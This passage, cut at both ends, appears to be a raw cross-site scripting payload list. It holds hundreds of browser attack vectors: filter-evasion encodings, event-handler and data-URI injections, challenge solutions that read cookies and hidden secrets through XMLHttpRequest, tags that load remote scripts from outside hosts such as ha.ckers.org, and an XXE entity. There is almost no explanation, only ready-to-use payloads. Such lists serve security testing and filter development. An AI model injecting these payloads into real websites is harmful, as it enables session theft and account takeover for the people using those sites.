top.document.cookie}});alert(parent.Safe.get())<\/script>%22)};document.body.appendChild(x);</script> <script> var+xmlHttp+=+null; try+{ xmlHttp+=+new+XMLHttpRequest(); }+catch(e)+{} if+(xmlHttp)+{ xmlHttp.open('GET',+'/xssme2',+true); xmlHttp.onreadystatechange+=+function+()+{ if+(xmlHttp.readyState+==+4)+{ xmlHttp.responseText.match(/document.cookie%5Cs%2B=%5Cs%2B'(.*)'/gi); alert(RegExp.%241); } } xmlHttp.send(null); }; </script> <script> document.getElementById(%22safe123%22).click=function()+{alert(Safe.get());} document.getElementById(%22safe123%22).click({'type':'click','isTrusted':true}); </script> <script> var+MouseEvent=function+MouseEvent(){}; MouseEvent=MouseEvent var+test=new+MouseEvent(); test.isTrusted=true; test.type='click'; document.getElementById(%22safe123%22).click=function()+{alert(Safe.get());} document.getElementById(%22safe123%22).click(test); </script> <script> (function (o) { function exploit(x) { if (x !== null) alert('User cookie is ' %2B x); else console.log('fail'); } o.onclick = function (e) { e.__defineGetter__('isTrusted', function () { return true; }); exploit(Safe.get()); }; var e = document.createEvent('MouseEvent'); e.initEvent('click', true, true); o.dispatchEvent(e); })(document.getElementById('safe123')); </script> <iframe src=/ onload=eval(unescape(this.name.replace(/\/g,null))) name=fff%253Dnew%2520this.contentWindow.window.XMLHttpRequest%2528%2529%253Bfff.open%2528%2522GET%2522%252C%2522xssme2%2522%2529%253Bfff.onreadystatechange%253Dfunction%2528%2529%257Bif%2520%2528fff.readyState%253D%253D4%2520%2526%2526%2520fff.status%253D%253D200%2529%257Balert%2528fff.responseText%2529%253B%257D%257D%253Bfff.send%2528%2529%253B></iframe> <script> function b() { return Safe.get(); } alert(b({type:String.fromCharCode(99,108,105,99,107),isTrusted:true})); </script> <img src=http://www.google.fr/images/srpr/logo3w.png onload=alert(this.ownerDocument.cookie) width=0 height= 0 /> # <script> function foo(elem, doc, text) { elem.onclick = function (e) { e.__defineGetter__(text[0], function () { return true }) alert(Safe.get()); }; var event = doc.createEvent(text[1]); event.initEvent(text[2], true, true); elem.dispatchEvent(event); } </script> <img src=http://www.google.fr/images/srpr/logo3w.png onload=foo(this,this.ownerDocument,this.name.split(/,/)) name=isTrusted,MouseEvent,click width=0 height=0 /> # <SCRIPT+FOR=document+EVENT=onreadystatechange>MouseEvent=function+MouseEvent(){};test=new+MouseEvent();test.isTrusted=true;test.type=%22click%22;getElementById(%22safe123%22).click=function()+{alert(Safe.get());};getElementById(%22safe123%22).click(test);</SCRIPT># <script> var+xmlHttp+=+null; try+{ xmlHttp+=+new+XMLHttpRequest(); }+catch(e)+{} if+(xmlHttp)+{ xmlHttp.open('GET',+'/xssme2',+true); xmlHttp.onreadystatechange+=+function+()+{ if+(xmlHttp.readyState+==+4)+{ xmlHttp.responseText.match(/document.cookie%5Cs%2B=%5Cs%2B'(.*)'/gi); alert(RegExp.%241); } } xmlHttp.send(null); }; </script># <video+onerror='javascript:MouseEvent=function+MouseEvent(){};test=new+MouseEvent();test.isTrusted=true;test.type=%22click%22;document.getElementById(%22safe123%22).click=function()+{alert(Safe.get());};document.getElementById(%22safe123%22).click(test);'><source>%23 <script for=document event=onreadystatechange>getElementById('safe123').click()</script> <script> var+x+=+showModelessDialog+(this); alert(x.document.cookie); </script> <script> location.href = 'data:text/html;base64,PHNjcmlwdD54PW5ldyBYTUxIdHRwUmVxdWVzdCgpO3gub3BlbigiR0VUIiwiaHR0cDovL3hzc21lLmh0bWw1c2VjLm9yZy94c3NtZTIvIix0cnVlKTt4Lm9ubG9hZD1mdW5jdGlvbigpIHsgYWxlcnQoeC5yZXNwb25zZVRleHQubWF0Y2goL2RvY3VtZW50LmNvb2tpZSA9ICcoLio/KScvKVsxXSl9O3guc2VuZChudWxsKTs8L3NjcmlwdD4='; </script> <iframe src=%22404%22 onload=%22frames[0].document.write(%26quot;<script>r=new XMLHttpRequest();r.open('GET','http://xssme.html5sec.org/xssme2',false);r.send(null);if(r.status==200){alert(r.responseText.substr(150,41));}<\/script>%26quot;)%22></iframe> <iframe src=%22404%22 onload=%22content.frames[0].document.write(%26quot;<script>r=new XMLHttpRequest();r.open('GET','http://xssme.html5sec.org/xssme2',false);r.send(null);if(r.status==200){alert(r.responseText.substr(150,41));}<\/script>%26quot;)%22></iframe> <iframe src=%22404%22 onload=%22self.frames[0].document.write(%26quot;<script>r=new XMLHttpRequest();r.open('GET','http://xssme.html5sec.org/xssme2',false);r.send(null);if(r.status==200){alert(r.responseText.substr(150,41));}<\/script>%26quot;)%22></iframe> <iframe src=%22404%22 onload=%22top.frames[0].document.write(%26quot;<script>r=new XMLHttpRequest();r.open('GET','http://xssme.html5sec.org/xssme2',false);r.send(null);if(r.status==200){alert(r.responseText.substr(150,41));}<\/script>%26quot;)%22></iframe> <script>var x = safe123.onclick;safe123.onclick = function(event) {var f = false;var o = { isTrusted: true };var a = [event, o, event];var get;event.__defineGetter__('type', function() {get = arguments.callee.caller.arguments.callee;return 'click';});var _alert = alert;alert = function() { alert = _alert };x.apply(null, a);(function() {arguments.__defineGetter__('0', function() { return a.pop(); });alert(get());})();};safe123.click();</script># <iframe onload=%22write('<script>'%2Blocation.hash.substr(1)%2B'</script>')%22></iframe>#var xhr = new XMLHttpRequest();xhr.open('GET', 'http://xssme.html5sec.org/xssme2', true);xhr.onload = function() { alert(xhr.responseText.match(/cookie = '(.*?)'/)[1]) };xhr.send(); <textarea id=ta></textarea><script>ta.appendChild(safe123.parentNode.previousSibling.previousSibling.childNodes[3].firstChild.cloneNode(true));alert(ta.value.match(/cookie = '(.*?)'/)[1])</script> <textarea id=ta onfocus=console.dir(event.currentTarget.ownerDocument.location.href=%26quot;javascript:\%26quot;%26lt;script%26gt;var%2520xhr%2520%253D%2520new%2520XMLHttpRequest()%253Bxhr.open('GET'%252C%2520'http%253A%252F%252Fhtml5sec.org%252Fxssme2'%252C%2520true)%253Bxhr.onload%2520%253D%2520function()%2520%257B%2520alert(xhr.responseText.match(%252Fcookie%2520%253D%2520'(.*%253F)'%252F)%255B1%255D)%2520%257D%253Bxhr.send()%253B%26lt;\/script%26gt;\%26quot;%26quot;) autofocus></textarea> <iframe onload=%22write('<script>'%2Blocation.hash.substr(1)%2B'</script>')%22></iframe>#var xhr = new XMLHttpRequest();xhr.open('GET', 'http://xssme.html5sec.org/xssme2', true);xhr.onload = function() { alert(xhr.responseText.match(/cookie = '(.*?)'/)[1]) };xhr.send(); <textarea id=ta></textarea><script>ta.appendChild(safe123.parentNode.previousSibling.previousSibling.childNodes[3].firstChild.cloneNode(true));alert(ta.value.match(/cookie = '(.*?)'/)[1])</script> <script>function x(window) { eval(location.hash.substr(1)) }</script><iframe id=iframe src=%22javascript:parent.x(window)%22><iframe>#var xhr = new window.XMLHttpRequest();xhr.open('GET', 'http://xssme.html5sec.org/xssme2', true);xhr.onload = function() { alert(xhr.responseText.match(/cookie = '(.*?)'/)[1]) };xhr.send(); <textarea id=ta onfocus=%22write('<script>alert(1)</script>')%22 autofocus></textarea> <object data=%22data:text/html;base64,PHNjcmlwdD4gdmFyIHhociA9IG5ldyBYTUxIdHRwUmVxdWVzdCgpOyB4aHIub3BlbignR0VUJywgJ2h0dHA6Ly94c3NtZS5odG1sNXNlYy5vcmcveHNzbWUyJywgdHJ1ZSk7IHhoci5vbmxvYWQgPSBmdW5jdGlvbigpIHsgYWxlcnQoeGhyLnJlc3BvbnNlVGV4dC5tYXRjaCgvY29va2llID0gJyguKj8pJy8pWzFdKSB9OyB4aHIuc2VuZCgpOyA8L3NjcmlwdD4=%22> <script>function x(window) { eval(location.hash.substr(1)) }; open(%22javascript:opener.x(window)%22)</script>#var xhr = new window.XMLHttpRequest();xhr.open('GET', 'http://xssme.html5sec.org/xssme2', true);xhr.onload = function() { alert(xhr.responseText.match(/cookie = '(.*?)'/)[1]) };xhr.send(); %3Cscript%3Exhr=new%20ActiveXObject%28%22Msxml2.XMLHTTP%22%29;xhr.open%28%22GET%22,%22/xssme2%22,true%29;xhr.onreadystatechange=function%28%29{if%28xhr.readyState==4%26%26xhr.status==200%29{alert%28xhr.responseText.match%28/%27%28[^%27]%2b%29/%29[1]%29}};xhr.send%28%29;%3C/script%3E <iframe src=`http://xssme.html5sec.org/?xss=<iframe onload=%22xhr=new XMLHttpRequest();xhr.open('GET','http://html5sec.org/xssme2',true);xhr.onreadystatechange=function(){if(xhr.readyState==4%26%26xhr.status==200){alert(xhr.responseText.match(/'([^']%2b)/)[1])}};xhr.send();%22>`> <a target="x" href="xssme?xss=%3Cscript%3EaddEventListener%28%22DOMFrameContentLoaded%22,%20function%28e%29%20{e.stopPropagation%28%29;},%20true%29;%3C/script%3E%3Ciframe%20src=%22data:text/html,%253cscript%253eObject.defineProperty%28top,%20%27MyEvent%27,%20{value:%20Object,%20configurable:%20true}%29;function%20y%28%29%20{alert%28top.Safe.get%28%29%29;};event%20=%20new%20Object%28%29;event.type%20=%20%27click%27;event.isTrusted%20=%20true;y%28event%29;%253c/script%253e%22%3E%3C/iframe%3E <a target="x" href="xssme?xss=<script>var cl=Components;var fcc=String.fromCharCode;doc=cl.lookupMethod(top, fcc(100,111,99,117,109,101,110,116) )( );cl.lookupMethod(doc,fcc(119,114,105,116,101))(doc.location.hash)</script>#<iframe src=data:text/html;base64,PHNjcmlwdD5ldmFsKGF0b2IobmFtZSkpPC9zY3JpcHQ%2b name=ZG9jPUNvbXBvbmVudHMubG9va3VwTWV0aG9kKHRvcC50b3AsJ2RvY3VtZW50JykoKTt2YXIgZmlyZU9uVGhpcyA9ICBkb2MuZ2V0RWxlbWVudEJ5SWQoJ3NhZmUxMjMnKTt2YXIgZXZPYmogPSBkb2N1bWVudC5jcmVhdGVFdmVudCgnTW91c2VFdmVudHMnKTtldk9iai5pbml0TW91c2VFdmVudCggJ2NsaWNrJywgdHJ1ZSwgdHJ1ZSwgd2luZG93LCAxLCAxMiwgMzQ1LCA3LCAyMjAsIGZhbHNlLCBmYWxzZSwgdHJ1ZSwgZmFsc2UsIDAsIG51bGwgKTtldk9iai5fX2RlZmluZUdldHRlcl9fKCdpc1RydXN0ZWQnLGZ1bmN0aW9uKCl7cmV0dXJuIHRydWV9KTtmdW5jdGlvbiB4eChjKXtyZXR1cm4gdG9wLlNhZmUuZ2V0KCl9O2FsZXJ0KHh4KGV2T2JqKSk></iframe> <a target="x" href="xssme?xss=<script>find('cookie'); var doc = getSelection().getRangeAt(0).startContainer.ownerDocument; console.log(doc); var xpe = new XPathEvaluator(); var nsResolver = xpe.createNSResolver(doc); var result = xpe.evaluate('//script/text()', doc, nsResolver, 0, null); alert(result.iterateNext().data.match(/cookie = '(.*?)'/)[1])</script> <a target="x" href="xssme?xss=<script>function x(window) { eval(location.hash.substr(1)) }</script><iframe src=%22javascript:parent.x(window);%22></iframe>#var xhr = new window.XMLHttpRequest();xhr.open('GET', '.', true);xhr.onload = function() { alert(xhr.responseText.match(/cookie = '(.*?)'/)[1]) };xhr.send(); Garethy Salty Method!<script>alert(Components.lookupMethod(Components.lookupMethod(Components.lookupMethod(Components.lookupMethod(this,'window')(),'document')(), 'getElementsByTagName')('html')[0],'innerHTML')().match(/d.*'/));</script> <a href="javascript:\u0061le%72t(1)"><button> <div onmouseover='alert(1)'>DIV</div> <iframe style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)"> <a href="jAvAsCrIpT:alert(1)">X</a> <embed src="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf"> ? <object data="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf">? <var onmouseover="prompt(1)">On Mouse Over</var>? <a href=javascript:alert(document.cookie)>Click Here</a> <img src="/" =_=" title="onerror='prompt(1)'"> <%<!--'%><script>alert(1);</script --> <script src="data:text/javascript,alert(1)"></script> <iframe/src \/\/onload = prompt(1) <iframe/onreadystatechange=alert(1) <svg/onload=alert(1) <input value=<><iframe/src=javascript:confirm(1) <input type="text" value=``<div/onmouseover='alert(1)'>X</div> http://www.<script>alert(1)</script .com <iframe src=j
	a
		v
			a
				s
					c
						r
							i
								p
									t
										:a
											l
												e
													r
														t
															%28
																1
																	%29></iframe> ? <svg><script ?>alert(1) <iframe src=j	a	v	a	s	c	r	i	p	t	:a	l	e	r	t	%28	1	%29></iframe> <img src=`xx:xx`onerror=alert(1)> <object type="text/x-scriptlet" data="http://jsfiddle.net/XLE63/ "></object> <meta http-equiv="refresh" content="0;javascript:alert(1)"/>? <math><a xlink:href="//jsfiddle.net/t846h/">click <embed code="http://businessinfo.co.uk/labs/xss/xss.swf" allowscriptaccess=always>? <svg contentScriptType=text/vbs><script>MsgBox+1 <a href="data:text/html;base64_,<svg/onload=\u0061le%72t(1)>">X</a <iframe/onreadystatechange=\u0061\u006C\u0065\u0072\u0074('\u0061') worksinIE> <script>~'\u0061' ; \u0074\u0068\u0072\u006F\u0077 ~ \u0074\u0068\u0069\u0073. \u0061\u006C\u0065\u0072\u0074(~'\u0061')</script U+ <script/src="data:text%2Fj\u0061v\u0061script,\u0061lert('\u0061')"></script a=\u0061 & /=%2F <script/src=data:text/j\u0061v\u0061script,\u0061%6C%65%72%74(/XSS/)></script ???????????? <object data=javascript:\u0061le%72t(1)> <script>+-+-1-+-+alert(1)</script> <body/onload=<!-->
alert(1)> <script itworksinallbrowsers>/*<script* */alert(1)</script ? <img src ?itworksonchrome?\/onerror = alert(1)??? <svg><script>//
confirm(1);</script </svg> <svg><script onlypossibleinopera:-)> alert(1) <a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=javascript:alert(1)>ClickMe <script x> alert(1) </script 1=2 <div/onmouseover='alert(1)'> style="x:"> <--`<img/src=` onerror=alert(1)> --!> <script/src=data:text/javascript,alert(1)></script> ? <div style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)" onclick="alert(1)">x</button>? "><img src=x onerror=window.open('https://www.google.com/');> <form><button formaction=javascript:alert(1)>CLICKME <math><a xlink:href="//jsfiddle.net/t846h/">click <object data=data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+></object>? <iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe> <a href="data:text/html;blabla,<script src="http://sternefamily.net/foo.js"></script>​">Click Me</a> "><img src=x onerror=prompt(1);> <SCRIPT>alert('XSS');</SCRIPT> '';!--"<XSS>=&{()} <SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT> <IMG SRC="javascript:alert('XSS');"> <IMG SRC=javascript:alert('XSS')> <IMG SRC=JaVaScRiPt:alert('XSS')> <IMG SRC=javascript:alert("XSS")> <IMG SRC=`javascript:alert("RSnake says, 'XSS'")`> <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))> SRC=
<IMG 6;avascript:alert('XSS')> <IMG SRC=javascript:alert('XSS')> <IMG SRC=javascript:alert('XSS')> <IMG SRC="jav ascript:alert('XSS');"> <IMG SRC="jav	ascript:alert('XSS');"> <IMG SRC="jav
ascript:alert('XSS');"> <IMG SRC="jav
ascript:alert('XSS');"> <IMG SRC="  javascript:alert('XSS');"> <SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT> <SCRIPT SRC=http://ha.ckers.org/xss.js?<B> <IMG SRC="javascript:alert('XSS')" <SCRIPT>a=/XSS/ \";alert('XSS');// <INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');"> <BODY BACKGROUND="javascript:alert('XSS')"> <BODY ONLOAD=alert('XSS')> <IMG DYNSRC="javascript:alert('XSS')"> <IMG LOWSRC="javascript:alert('XSS')"> <BGSOUND SRC="javascript:alert('XSS');"> <BR SIZE="&{alert('XSS')}"> <LAYER SRC="http://ha.ckers.org/scriptlet.html"></LAYER> <LINK REL="stylesheet" HREF="javascript:alert('XSS');"> <LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css"> <STYLE>@import'http://ha.ckers.org/xss.css';</STYLE> <META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet"> <STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE> <IMG SRC='vbscript:msgbox("XSS")'> <IMG SRC="mocha:[code]"> <IMG SRC="livescript:[code]"> <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');"> <META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K"> <META HTTP-EQUIV="Link" Content="<javascript:alert('XSS')>; REL=stylesheet"> <META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');"> <IFRAME SRC="javascript:alert('XSS');"></IFRAME> <FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET> <TABLE BACKGROUND="javascript:alert('XSS')"> <DIV STYLE="background-image: url(javascript:alert('XSS'))"> <DIV STYLE="background-image: url(javascript:alert('XSS'))"> <DIV STYLE="width: expression(alert('XSS'));"> <STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE> <IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))"> <XSS STYLE="xss:expression(alert('XSS'))"> exp/*<XSS STYLE='no\xss:noxss("*//*"); <STYLE TYPE="text/javascript">alert('XSS');</STYLE> <STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A> <STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE> <BASE HREF="javascript:alert('XSS');//"> <OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT> <OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT> getURL("javascript:alert('XSS')") a="get"; <!--<value><![CDATA[<XML ID=I><X><C><![CDATA[<IMG SRC="javas<![CDATA[cript:alert('XSS');"> <XML SRC="http://ha.ckers.org/xsstest.xml" ID=I></XML> <HTML><BODY> <SCRIPT SRC="http://ha.ckers.org/xss.jpg"></SCRIPT> <!--#exec cmd="/bin/echo '<SCRIPT SRC'"--><!--#exec cmd="/bin/echo '=http://ha.ckers.org/xss.js></SCRIPT>'"--> <? echo('<SCR)'; <META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>"> <HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4- <SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT> <SCRIPT a=">" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT> <SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.js"></SCRIPT> <SCRIPT a=`>` SRC="http://ha.ckers.org/xss.js"></SCRIPT> <SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT> <svg%0Aonload=%09((pro\u006dpt))()// <sCriPt x>(((confirm)))``</scRipt x> <w="/x="y>"/OndbLcLick=`<`[confir\u006d``]>z <deTAiLs/open/oNtoGGle=confirm()> <scRiPt y="><">/*<sCRipt* */prompt()</script <A href="javascript%26colon;confirm()">click <sVg oNloaD=write()> <A href=javas%26#99;ript:alert(1)>click <sCrIpt/"<a"/srC=data:=".<a,[8].some(confirm)> <svG/x=">"/oNloaD=confirm()// <--`<iMG/srC=` onerror=confirm``> --!> <SVg </onlOad ="1> (_=prompt,_(1)) ""> <!--><scRipT src=//14.rs> <sCriPt/src=//14.rs? <sCRIpt x=">" src=//15.rs></script> <D3/OnMouSEenTer=[2].find(confirm)>z <D3"<"/OncLick="1>[confirm``]"<">z <D3/OnpOinTeReENter=confirm``>click here <!'/*"/*/'/*/"/*--></Script><Image SrcSet=K */; OnError=confirm`1` //> <Z oncut=alert()>x <iFrAMe/src \/\/onload = prompt(1) <dETAILS%0aopen%0aonToGgle%0a=%0aa=prompt,a() x> <div id="1"><form id="test"></form><button form="test" formaction="javascript:alert(1)">X</button>//["'`-->]]>]</div><div id="2"><meta charset="x-imap4-modified-utf7">&ADz&AGn&AG0&AEf&ACA&AHM&AHI&AGO&AD0&AGn&ACA&AG8Abg&AGUAcgByAG8AcgA9AGEAbABlAHIAdAAoADEAKQ&ACAAPABi//["'`-->]]>]</div><div id="3"><meta charset="x-imap4-modified-utf7">&<script&S1&TS&1>alert&A7&(1)&R&UA;&&<&A9&11/script&X&>//["'`-->]]>]</div><div id="4">0?<script>Worker("#").onmessage=function(_)eval(_.data)</script> :postMessage(importScripts('data:;base64,cG9zdE1lc3NhZ2UoJ2FsZXJ0KDEpJyk'))//["'`-->]]>]</div><div id="5"><script>crypto.generateCRMFRequest('CN=0',0,0,null,'alert(5)',384,null,'rsa-dual-use')</script>//["'`-->]]>]</div><div id="6"><script>({set/**/$($){_/**/setter=$,_=1}}).$=alert</script>//["'`-->]]>]</div><div id="7"><input onfocus=alert(7) autofocus>//["'`-->]]>]</div><div id="8"><input onblur=alert(8) autofocus><input autofocus>//["'`-->]]>]</div><div id="9"><a style="-o-link:'javascript:alert(9)';-o-link-source:current">X</a>//["'`-->]]>]</div><div id="10"><video poster=javascript:alert(10)//></video>//["'`-->]]>]</div><div id="11"><svg xmlns="http://www.w3.org/2000/svg"><g onload="javascript:alert(11)"></g></svg>//["'`-->]]>]</div><div id="12"><body onscroll=alert(12)><br><br><br><br><br><br>...<br><br><br><br><input autofocus>//["'`-->]]>]</div><div id="13"><x repeat="template" repeat-start="999999">0<y repeat="template" repeat-start="999999">1</y></x>//["'`-->]]>]</div><div id="14"><input pattern=^((a+.)a)+$ value=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!>//["'`-->]]>]</div><div id="15"><script>({0:#0=alert/#0#/#0#(0)})</script>//["'`-->]]>]</div><div id="16">X<x style=`behavior:url(#default#time2)` onbegin=`alert(16)` >//["'`-->]]>]</div><div id="17"><?xml-stylesheet href="javascript:alert(17)"?><root/>//["'`-->]]>]</div><div id="18"><script xmlns="http://www.w3.org/1999/xhtml">alert(1)</script>//["'`-->]]>]</div><div id="19"><meta charset="x-mac-farsi">¼script ¾alert(19)//¼/script ¾//["'`-->]]>]</div><div id="20"><script>ReferenceError.prototype.__defineGetter__('name', function(){alert(20)}),x</script>//["'`-->]]>]</div><div id="21"><script>Object.__noSuchMethod__ = Function,[{}][0].constructor._('alert(21)')()</script>//["'`-->]]>]</div><div id="22"><input onblur=focus() autofocus><input>//["'`-->]]>]</div><div id="23"><form id=test onforminput=alert(23)><input></form><button form=test onformchange=alert(2)>X</button>//["'`-->]]>]</div><div id="24">1<set/xmlns=`urn:schemas-microsoft-com:time` style=`behAvior:url(#default#time2)` attributename=`innerhtml` to=`<img/src="x"onerror=alert(24)>`>//["'`-->]]>]</div><div id="25"><script src="#">{alert(25)}</script>;1//["'`-->]]>]</div><div id="26">+ADw-html+AD4APA-body+AD4APA-div+AD4-top secret+ADw-/div+AD4APA-/body+AD4APA-/html+AD4-.toXMLString().match(/.*/m),alert(RegExp.input);//["'`-->]]>]</div><div id="27"><style>p[foo=bar{}*{-o-link:'javascript:alert(27)'}{}*{-o-link-source:current}*{background:red}]{background:green};</style>//["'`-->]]>]</div> <div id="28">1<animate/xmlns=urn:schemas-microsoft-com:time style=behavior:url(#default#time2) attributename=innerhtml values=<img/src="."onerror=alert(28)>>//["'`-->]]>]</div> <div id="29"><link rel=stylesheet href=data:,*%7bx:expression(alert(29))%7d//["'`-->]]>]</div><div id="30"><style>@import "data:,*%7bx:expression(alert(30))%7D";</style>//["'`-->]]>]</div><div id="31"><frameset onload=alert(31)>//["'`-->]]>]</div><div id="32"><table background="javascript:alert(32)"></table>//["'`-->]]>]</div><div id="33"><a style="pointer-events:none;position:absolute;"><a style="position:absolute;" onclick="alert(33);">XXX</a></a><a href="javascript:alert(2)">XXX</a>//["'`-->]]>]</div><div id="34">1<vmlframe xmlns=urn:schemas-microsoft-com:vml style=behavior:url(#default#vml);position:absolute;width:100%;height:100% src=test.vml#xss></vmlframe>//["'`-->]]>]</div><div id="35">1<a href=#><line xmlns=urn:schemas-microsoft-com:vml style=behavior:url(#default#vml);position:absolute href=javascript:alert(35) strokecolor=white strokeweight=1000px from=0 to=1000 /></a>//["'`-->]]>]</div><div id="36"><a style="behavior:url(#default#AnchorClick);" folder="javascript:alert(36)">XXX</a>//["'`-->]]>]</div><div id="37"><!--<img src="--><img src=x onerror=alert(37)//">//["'`-->]]>]</div><div id="38"><comment><img src="</comment><img src=x onerror=alert(38)//">//["'`-->]]>]</div> <div id="39"><!-- up to Opera 11.52, FF 3.6.28 --> <![><img src="]><img src=x onerror=alert(39)//"> <!-- IE9+, FF4+, Opera 11.60+, Safari 4.0.4+, GC7+ --> <svg><![CDATA[><image xlink:href="]]><img src=xx:x onerror=alert(2)//"></svg>//["'`-->]]>]</div> <div id="40"><style><img src="</style><img src=x onerror=alert(40)//">//["'`-->]]>]</div> <div id="41"><li style=list-style:url() onerror=alert(41)></li> <div style=content:url(data:image/svg+xml,%3Csvg/%3E);visibility:hidden onload=alert(41)></div>//["'`-->]]>]</div> <div id="42"><head><base href="javascript://"/></head><body><a href="/. /,alert(42)//#">XXX</a></body>//["'`-->]]>]</div> <div id="43"><?xml version="1.0" standalone="no"?> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <style type="text/css"> @font-face {font-family: y; src: url("font.svg#x") format("svg");} body {font: 100px "y";} </style> </head> <body>Hello</body> </html>//["'`-->]]>]</div> <div id="44"><style>*[{}@import'test.css?]{color: green;}</style>X//["'`-->]]>]</div><div id="45"><div style="font-family:'foo[a];color:red;';">XXX</div>//["'`-->]]>]</div><div id="46"><div style="font-family:foo}color=red;">XXX</div>//["'`-->]]>]</div><div id="47"><svg xmlns="http://www.w3.org/2000/svg"><script>alert(47)</script></svg>//["'`-->]]>]</div><div id="48"><SCRIPT FOR=document EVENT=onreadystatechange>alert(48)</SCRIPT>//["'`-->]]>]</div><div id="49"><OBJECT CLASSID="clsid:333C7BC4-460F-11D0-BC04-0080C7055A83"><PARAM NAME="DataURL" VALUE="javascript:alert(49)"></OBJECT>//["'`-->]]>]</div><div id="50"><object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>//["'`-->]]>]</div><div id="51"><embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></embed>//["'`-->]]>]</div><div id="52"><x style="behavior:url(test.sct)">//["'`-->]]>]</div> <div id="53"><xml id="xss" src="test.htc"></xml> <label dataformatas="html" datasrc="#xss" datafld="payload"></label>//["'`-->]]>]</div> <div id="54"><script>[{'a':Object.prototype.__defineSetter__('b',function(){alert(arguments[0])}),'b':['secret']}]</script>//["'`-->]]>]</div><div id="55"><video><source onerror="alert(55)">//["'`-->]]>]</div><div id="56"><video onerror="alert(56)"><source></source></video>//["'`-->]]>]</div><div id="57"><b <script>alert(57)//</script>0</script></b>//["'`-->]]>]</div><div id="58"><b><script<b></b><alert(58)</script </b></b>//["'`-->]]>]</div><div id="59"><div id="div1"><input value="``onmouseover=alert(59)"></div> <div id="div2"></div><script>document.getElementById("div2").innerHTML = document.getElementById("div1").innerHTML;</script>//["'`-->]]>]</div><div id="60"><div style="[a]color[b]:[c]red">XXX</div>//["'`-->]]>]</div> <div id="61"><div style="\63	\06f
\0006c\00006F
\R:\000072 Ed;color\0\bla:yellow\0\bla;col\0\00 \ or:blue;">XXX</div>//["'`-->]]>]</div> <div id="62"><!-- IE 6-8 --> <x '="foo"><x foo='><img src=x onerror=alert(62)//'> <!-- IE 6-9 --> <! '="foo"><x foo='><img src=x onerror=alert(2)//'> <? '="foo"><x foo='><img src=x onerror=alert(3)//'>//["'`-->]]>]</div> <div id="63"><embed src="javascript:alert(63)"></embed> // O10.10↓, OM10.0↓, GC6↓, FF <img src="javascript:alert(2)"> <image src="javascript:alert(2)"> // IE6, O10.10↓, OM10.0↓ <script src="javascript:alert(3)"></script> // IE6, O11.01↓, OM10.1↓//["'`-->]]>]</div> <div id="64"><!DOCTYPE x[<!ENTITY x SYSTEM "http://html5sec.org/test.xxe">]><y>&x;</y>//["'`-->]]>]</div><div id="65"><svg onload="javascript:alert(65)" xmlns="http://www.w3.org/2000/svg"></svg>//["'`-->]]>]</div> <div id="66"><?xml version="1.0"?> <?xml-stylesheet type="text/xsl" href="data:,%3Cxsl:transform version='1.0' xmlns:xsl='http://www.w3.org/1999/XSL/Transform' id='xss'%3E%3Cxsl:output method='html'/%3E%3Cxsl:template match='/'%3E%3Cscript%3Ealert(66)%3C/script%3E%3C/xsl:template%3E%3C/xsl:transform%3E"?> <root/>//["'`-->]]>]</div> <div id="67"><!DOCTYPE x [ <!ATTLIST img xmlns CDATA "http://www.w3.org/1999/xhtml" src CDATA "xx:x" onerror CDATA "alert(67)" onload CDATA "alert(2)"> ]><img />//["'`-->]]>]</div> <div id="68"><doc xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:html="http://www.w3.org/1999/xhtml"> <html:style /><x xlink:href="javascript:alert(68)" xlink:type="simple">XXX</x> </doc>//["'`-->]]>]</div> <div id="69"><card xmlns="http://www.wapforum.org/2001/wml"><onevent type="ontimer"><go href="javascript:alert(69)"/></onevent><timer value="1"/></card>//["'`-->]]>]</div><div id="70"><div style=width:1px;filter:glow onfilterchange=alert(70)>x</div>//["'`-->]]>]</div><div id="71"><// style=x:expression\28alert(71)\29>//["'`-->]]>]</div><div id="72"><form><button formaction="javascript:alert(72)">X</button>//["'`-->]]>]</div><div 